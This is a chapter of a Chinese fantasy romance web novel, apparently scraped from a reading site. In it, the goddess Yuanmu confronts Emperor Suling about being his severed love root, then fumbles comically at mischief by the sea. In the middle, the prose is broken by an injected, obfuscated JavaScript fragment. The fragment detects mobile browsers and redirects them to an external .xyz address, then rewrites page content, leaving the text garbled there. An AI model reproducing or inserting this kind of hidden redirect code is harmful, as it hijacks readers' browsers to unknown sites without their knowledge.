77. 难言之隐 一泼猴

作品:《众生有疾  天帝晚期

    回家?


    溯澪帝君,哪里是你家?


    莫须尘渊落了锁,祖君他老人家费劲心力养出的儿子变「宿敌」,他还能让你进去?


    以后祖君「失子之痛」过去了,能邀请你进去喝杯茶就不错了,此刻你尽管朝那里望眼欲穿。


    嘿,你就只有挠头的份儿。


    你还想跟我走?师父那俩手推的,推得亲徒弟都不认啦。


    师父和群仙一起摆手,指向紫极宫。


    “天帝,紫极宫就是你的家,您带着帝后回这儿吧!”


    远端的仙家纷纷告辞遁走,近处的也默默后退都想掉头。


    他们都有熟悉的家,我和还不太熟的溯澪帝君,连个井都没背出来,就离了乡。


    仙家就是仙家,七欲流落下界,跟个随时喷发的大毒火山似的,他们却众口一词。


    「天帝今日劳体伤神,事已至此,解决祸患非一朝一夕,七欲的事能成,自是下界的一场劫难机缘,暂且搁置,料想天帝自有对策。


    待八方应钟敲起,众仙家必以天帝之令是从。」


    仙家学严谨学了几万年学不会,学溯澪的松散,一看就会。


    戒律殿的老头子们也不滋滋了,溯澪帝君和祖君已经带头互骂,所谓的威严反倒成了对真性情的巧妙粉饰。


    两大主角摊牌,奘黧帝君沉迷自爱,那宥情桃居的逸风渠也像个脚底抹油,呲溜就走的世外无赖。


    再看看我这帝后的仪态,那可真是万般无奈。


    下界去了大毒物,仙界不详之气临头,倘若这方世界照此发展下去……


    棘手啊,棘手。


    仙友不懂我心里的忧愁,但我感受到了他们离去时对溯澪帝君凝望眼神里,是对圣晟天帝的尊重和哀悼。


    圣晟天帝没了,溯澪还在,也许埋葬死魂的最好方式就是谁也不提,把他融合在过去的记忆,现在的眼间,未来的习惯里。


    我挺伤心的,但这份伤心特别奇怪,它落不了地,它不疼,它好像悬在时间海上。


    只是我们谁也看不到,这种看不到,比莫须尘渊还要神秘,难以捉摸。


    我沉默不语,想着自己的心事,不知不觉迈开步子,跟随溯澪进入新家。


    哦,不对,这里不能称之为家。我觉得我和他的感情,过于复杂,问题太大。


    我甚至,不认识他。


    溯澪对紫极宫不熟,他没当过天帝,但他的行为足以证明,他当过谢烬洄。


    我和他的不少记忆,留在了拾德水榭,他便将我带我这里。


    溯澪知道我喜欢喝水榭的水,他拎起茶壶倒了一杯推给我。


    我背靠屏风有点儿局促,站着蜷手指,视线不经意投向眼神炽热的他。


    “你是?”(谢烬洄?)我说,我不想把话说满,因为我想让谢烬洄给它满上。


    溯澪用眼神表示承认。


    “我是。”他说,“鸢姀,我全是。”


    我眼神闪烁,一下一下扫视他。


    他既是谢烬洄也是溯澪,我呢!是鸢姀还是……


    我叹了口气,显得颓丧,“我是?”


    溯澪的神色笃定又泛着苦涩,他的笑让我心中酸楚。


    “你是……”


    我垂下头,吞咽下提着的最后一丝对自己的怀疑。


    来自青芒山的我,万一只是一颗普通石头,万一师是父搞错了……


    早年间,师父就怀疑我的出身并不是自然化生那么简单,身上有着仙界上神的仙泽。


    他怀疑我是某位大神仙遗落的仙灵神识,但是带到仙界后,从未有仙家认领。


    这事儿一点一点就淡忘了,我也自认为自己就是自然造化出的一颗顽石。


    七欲假冒圣晟天帝时,对我的态度就很诡异,他好似特别想亲近我。


    今日他痛诉溯澪「罪状」,提到溯澪先斩情根,师父一听到青芒山又是那么激动的反应。


    再加我和谢烬洄只是握了个手,就结下情缘,还是那种宿命般不可动摇的「情根深种」。


    所以,我在七欲说难怪难怪的时候,就确定了自己是谁。


    溯澪见我垂头丧气,他焦急地伸出双手。


    他是要抱我吧,但他收住了,最后端起那杯水递到我手边。


    我接过水,抬头对上他的视线。


    他大概以为我哭了,但我就是愁肠百结,捋不顺心里线头的烦躁。


    眼神里对他充满求助,求救,求解,写满不安。


    溯澪笑得很凉,是有意与我保持距离的刻意。


    可说出的话却火热坦诚。


    “鸢姀是我钟情的神女,也是……”他顿了顿,掩饰心虚,“是我的情根。”


    他亲口承认了,亲口承认就好。


    我不会像七欲那般对他充满抱怨痛恨,我又没被封印,窝只是被扔在青芒山,无知无觉,不痛不痒。


    嘿,我还变成一颗闭口不言的石头,想来,他是在我睡着的时候,舍下的我,他的「遗弃」丝毫没影响到我。


    溯澪帝君舍弃情根七欲,说到底是为了获得太素无念石认可,替那逃跑的叫做翛?的祖君肩负天下重任。


    作为神仙我敬佩他,那么吊儿郎当的帝君把自己弄成圣晟天帝那不苟言笑的样子,多割裂呀。


    但作为情根,我现在只想弄明白一件事儿。


    不,是两件事儿。


    其一,就是……


    我清了清嗓子,别别扭扭地喝了口水,又清了清嗓子。


    “我觉得,我们之间的感情,只是情根和原主的反应,它不纯粹,你不要太顾及。


    所以,你想干什么就……”


    “并非如此!”溯澪的语气很激动,他打断了我,却依然固守原地。


    除了眼神,我看不出他哪里在意我。


    “鸢姀,并非如此,情根带给我的感情可以是亲情,友情,世间一切情。


    但我们之间,偏偏产生了爱情,这感情或许受情根相互吸引的影响。


    但它,我相信它,纯粹。”


    我淡淡一笑,溯澪如此轻描淡写地给我和谢烬洄的感情判定,他相信的纯粹。


    可这个时候,要是谢烬洄,他会跟我依然保持礼貌的距离,以浑身上下冰冷到陌生的冷静跟我谈情说爱?


    他要么抱我,要么亲我,要么就缠着我把心底话全漏出来。


    溯澪太冷了,冷得我想后退而不是贴近。


    冷得我看着曾经承载我们第一次情海波澜的桌子,像是变成了冰。


    它碎了,冻上了,成了溯澪跨不过去的鸿沟。


    我一时心寒,嘲讽地说:“我不喜欢现在这种氛围,说实话,我想见的人,是谢烬洄。”


    “我也不喜欢。”溯澪颓然一笑,他的身子好像化开了,透出几分温柔。


    “鸢姀,我想放你自由,你要不要?”


    我摇了摇头,随即凝住他的双眼,不容置疑的语气对他说:“谢烬洄也好,溯澪也罢,你要做的那件事,说与我听。”


    他面容泛红,短促地笑了笑,熟悉的亲切感觉渐渐包裹我。


    “我的鸢姀,”他说,“请你帮我选择。”


    *


    其实,我一直以为溯澪在与七欲对峙,眼里燃起火焰那一刻就选择好了。


    甚至真有那么一刻,我对他充满恐惧。


    溯澪接下来跟我坦露的实情,与我猜的差不多。


    他说七欲虽然以微弱的力量藏匿到下界,但人间势必会因他潜移默化。


    经过漫长岁月的影响,而变得人心涣散,少良善多凶残。


    人心变乱,天地也随之难安,长此以往,坏道的不止下界,是所有万物共生的世间。


    溯澪从过去来到这里的使命,就是彻底消除七欲的祸患,哪怕是抹除自己。


    所以,即便现在的七欲还不成气候,他也决意要尽快下手铲除。


    而那铲除的机会,他刚才已错过一次。


    他说他对这次错过,没有遗憾,反而开心。


    那时,溯澪还可以强压下谢烬洄对我情感,召唤我到他身边。


    可现在他做不到了,溯澪对我说:“鸢姀,那一定不是唯一的法子,我不会让你和我一起……”


    我听他讲出他注定的命运,还有那些我,他,七欲的瓜葛,我的脑子里一顿轰鸣。


    连续喝了两杯桌子上清凉静心的水,我还是心烦意乱,脚步踉跄。


    待我跌跌撞撞越过屏风,扶住门框回身看向步履沉重而艰难的溯澪,为他那又像追又像躲的挣扎神情眼睛发酸。


    我既心疼又动摇。


    我想逃出去一会儿,我想趁他没彻底变成谢烬洄之前,再去看看世间。


    “溯澪!”我从我们近在咫尺,却已延伸到天际的遥远距离,向他靠近了一步。


    “给我点儿时间,一点儿就行。我会回来找你。”


    溯澪哀伤一笑,减缓步伐向后退。


    “你可以不回来,你可以。


    我会……”


    我狠狠瞪向他,抛出一句重话。


    “你把我吓坏了,我只是现在,不想见到你!”


    咣当!


    我用力关上拾德水榭的大门,关住那个想把我推走的溯澪。


    让他自生自灭一会儿吧,鸢姀神女我什么时候因为爱受过这种憋屈。


    什么压抑氛围啊,溯澪他就是一块冰,我好想念谢烬洄。


    可是我转念一想,冰有冰的好处呀。


    起码他保护着我,不会因情爱,而稀里糊涂献身于大义里。


    他是想让我冷静吧!


    到底是位帝君,虽然年轻,但总比热情似火的谢烬洄老练太多


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566655|187004||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    我一瞬神往:若是让我看见,溯澪和谢烬洄合二为一后真心流露的样子,我死也无憾了。


    死?这么快就想到死。看来我的心,比我懂得怎么做。


    但我不甘心呀,我有太多遗愿未了了。


    这第一件遗愿便是,我想当恶魔,当坏蛋,当一把世间的祸害。


    呃,又扯到遗愿!


    哎,我要当恶魔,当恶魔,当恶魔。


    不然,我太压抑了!


    此刻,我这大摇大摆的「情根」,遗弃了她的主人——溯澪。


    哈哈哈哈哈!!!呜呜……


    去哪儿冷静冷静(祸害祸害)呢?


    我想去人间,那里时间流速慢,不会耽误溯澪的事儿。


    主要是我想看看那各界疯传的世间第一美人,?澜海王公主,她本人到底多好看。


    当我真从蝶梦铃里,到了?澜海边,却一点儿看公主的心思都没有了。


    之前谢烬洄画过她,因为公主太美了,我一想到她就想吃掌心梅。


    可现在,谢烬洄变美了,变成了溯澪,我忽然不在意皮相了。


    我若爱他,他是微尘是水滴,是癞呱呱,又有什么所谓呢。


    哪个会比一颗坑坑洼洼的石头长得丑。


    我闭了闭眼,看见神识里的魂锁随着海浪声起舞盘旋。


    它们对我逐渐靠近玉石的动作,没有了排斥的反应。


    我便迫不及待,冲到石壁前,想看一眼谢烬洄。


    然而,我惊讶地发现,玉石之上的形容相貌,竟是溯澪,我忽然有种微妙的感觉。


    好像一直以来,都是溯澪,就该是溯澪。


    大海到了涨潮的尾声,一次次努力浸润我双脚的海线越发力不从心,连我的脚尖也够不到。


    我不想让?澜海成为我的洗脚水,但决心在死前。


    啊,又提死了……


    哎。


    我当恶魔的决心还没更改。


    眼看一处礁石底下,裸露出一个深坑沙滩,里面横爬着竖跳着许多被顽童遗弃的螃蟹龙虾。


    真稀奇,?澜海附近的妖怪不吃海鲜,但喜欢看它们脱水晒干,并以此为乐。


    恶趣味啊,是魔鬼行径。


    我一步一陷,踩着石头沙滩,蹲在坑边往里看。


    本神女坚守杀生不虐生的原则,随手给它们倒了点儿我从仙界带来的水。


    一只猿猴精从海边幽深的林子里悠荡出来,咯咯咯笑话我。


    “哟哟哟,堂堂仙界神女,竟用淡水救盐水生灵。


    你不知道这淡水浇在身上,它们有多疼!”


    这猿猴一边嬉笑一边翻滚,鄙视我道:“哈哈哈,神女干起坏事来,比咱们妖怪都在行,可笑可笑。”


    我心里惭愧,嘴上不饶猴。


    “臭猴子你懂什么,本神女就是来当恶魔的,我拔完它们皮,下一个就薅你毛!”


    猿猴眼睛卡巴卡巴,伸出爪子示意我水坑里出事啦。


    我低头往里一瞧,可不是吗。


    这些螃蟹虾米遭了大罪,一个个由微红淡黄色变成了通体透明,光洁如玉,且毫无血气的不知啥玩意。


    怪好看的!


    好看?


    我赶紧看了看我倒水的瓶。


    坏了坏了,我错把真颜仙子殿的漂亮水当普通水搞里头了!


    就看那坑里的虾米螃蟹不仅变得绝世无双,还轻盈了身体飘了起来。


    还还还,开了灵智。


    它们集体向我弓腰夹钳子,齐声欢呼。


    “多谢神女,多谢神女,妈妈终于不用担心我们找不到伴侣啦!”


    它们朝大海蹦跳着,横行着飞去。


    天蓝云行,海面动影。


    我听见它们在喊:“妈妈呀,我出息啦,我是水晶虾。”


    旁边一只被晒干的贝壳突然张嘴。


    “那我呢,我成磨砂贝了?”


    猿猴傻了眼,脑子机灵,爪子能干。


    它咕咚一声半个头砸水坑里,我想它是给我磕头?


    我误会了,他咕噜咕噜几口把坑里的水喝了。


    它喝饱了抬头看我


    嚯,猴眼溜圆,脸上是褶子撑开了。


    我不得不纠正它的行为。


    “猴啊!”我说,“这水,外用。”


    我嘴欠,猴子噗呲喷我一脸。


    但我发现,漂亮水内服也有效,那猿猴从我眼睛里看到他自己,撒丫子跳叫着急匆匆跑了。


    它也有退场词。


    “呜哈哈,相亲,相亲,相亲啊!”


    我揩了一把脸,这猴子刚吃了苹果?


    哎,我无限感慨。


    “神女当恶魔,这么难吗?咋成赐福了!”


    林子深处传来雌性猿猴的尖叫:“天啊,美猴王!”